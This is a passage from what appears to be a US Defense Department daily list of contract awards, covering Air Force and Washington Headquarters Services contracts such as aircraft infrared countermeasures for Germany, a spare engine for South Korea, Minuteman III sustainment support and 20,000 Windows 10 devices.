Mike Coates Construction Co. Inc.,* Niles, Ohio, was awarded a $7,879,715 firm-fixed-price contract with options to construct an indoor firing range. Bids were solicited via the Internet with three received. Work will be performed at the Youngstown Air Reserve Station, Ohio, with an estimated completion date of April 2, 2018.

AIR FORCE

Northrop Grumman Systems Corp., Rolling Meadows, Illinois, has been awarded a $27,956,839 firm-fixed-price and cost type contract for the installation of a Large Aircraft Infrared Countermeasures and Directed Energy IR dazzler on the BG5000 aircraft, flown by Germany's head of state.  Contractor will provide aircraft protection technology from surface-to-air infrared missiles. Performance location will be announced in January 2017. Work is expected to be complete by Dec. 31, 2019. This award is 100 percent foreign military sales to Germany. 

CFM International, West Chester, Ohio, has been awarded a $12,038,044 firm-fixed-price contract for one spare CFM56-7B27AG04 engine. Work will be performed at Villaroche, France, and is expected to be complete by Oct. 31,2016. This contract involves 100 percent foreign military sales to South Korea. This award is the result of a sole-source acquisition. Foreign military sales funds in the amount of $12,038,044 are being obligated at the time of award. The Air Force Life Cycle Management Center, Wright-Patterson Air Force Base, Ohio, is the contracting activity (FA8626-16-C-2140).

Northrop Grumman Amherst Systems, Buffalo, New York, has been awarded a $11,022,355 modification (P00021) to previously awarded contract FA8210-13-C-0001 for additional quantities of provisional spares for the Joint Threat Emitter. The location of performance is Buffalo, New York.  This modification involves foreign military sales to Saudi Arabia. 

Northrup Grumman Systems Corp. - Amherst Systems Inc., Buffalo, New York, has been awarded a $9,800,000 for sustaining engineering services support for  threat simulators and engineering services needed for B-1, B-2, B-52, and fighter test facilities, combat electromagnetic environment simulators and advanced multiple environment threat simulators sustainment. Work will be performed at Eglin Air Force Base, Florida; Edwards Air Force Base, California; and Robins Air Force Base, Georgia, and is expected to be complete by Sept. 28, 2017.  

Alliant Techsystems Operations LLC, Rocket Center, West Virginia, has been awarded a $9,270,100 for low-rate initial production Lot 2 of the Hard Target Void Sensing Fuze system. Contractor will provide 475 Hard Target Void Sensing Fuze systems. Work will be performed at Rocket Center, West Virginia, and is expected to be complete by March 29, 2018. Fiscal 2015 and 2016 ammunition procurement funds in the amount of $9,270,100 are being obligated at the time of award.

BAE Systems, Rockville, Maryland, has been awarded a $8,211,088 modification (P00162) to previously awarded contract FA8214-13-C-0001 for additional sustaining engineering and sustainment management support. Contractor will provide systems engineering, technical assistance, training and development in performing integration, sustaining engineering and program management support functions for the Minuteman III weapon system. Work will be performed at Hill Air Force Base, Utah, and is expected to be complete by July 31, 2017. Fiscal 2016 operations and maintenance funds in the amount of $8,211,088 are being obligated at the time of award. Air Force Nuclear Weapons Center, Hill Air Force Base, Utah, is the contracting activity.

WASHINGTON HEADQUARTERS SERVICES

Transource Computers, Phoenix, Arizona, is being awarded a firm-fixed-price contract for $7,322,903 to procure lightweight 2-in-1 devices in support of the Secretary of Defense mandated Windows 10 deployment.  Joint Service Provider is looking to rapidly procure 20,000 total devices starting increment/initial procurement of 5,000 devices with option for increased quantity.  Work performance will take place in Arlington, Virginia. The expected completion date is Sept. 29, 2017. Fiscal 2016 operations and maintenance funds are being obligated at the time of the award. Washington Headquarters Services, Arlington, Virginia, is the contracting office (HQ0034-16-F-0172).

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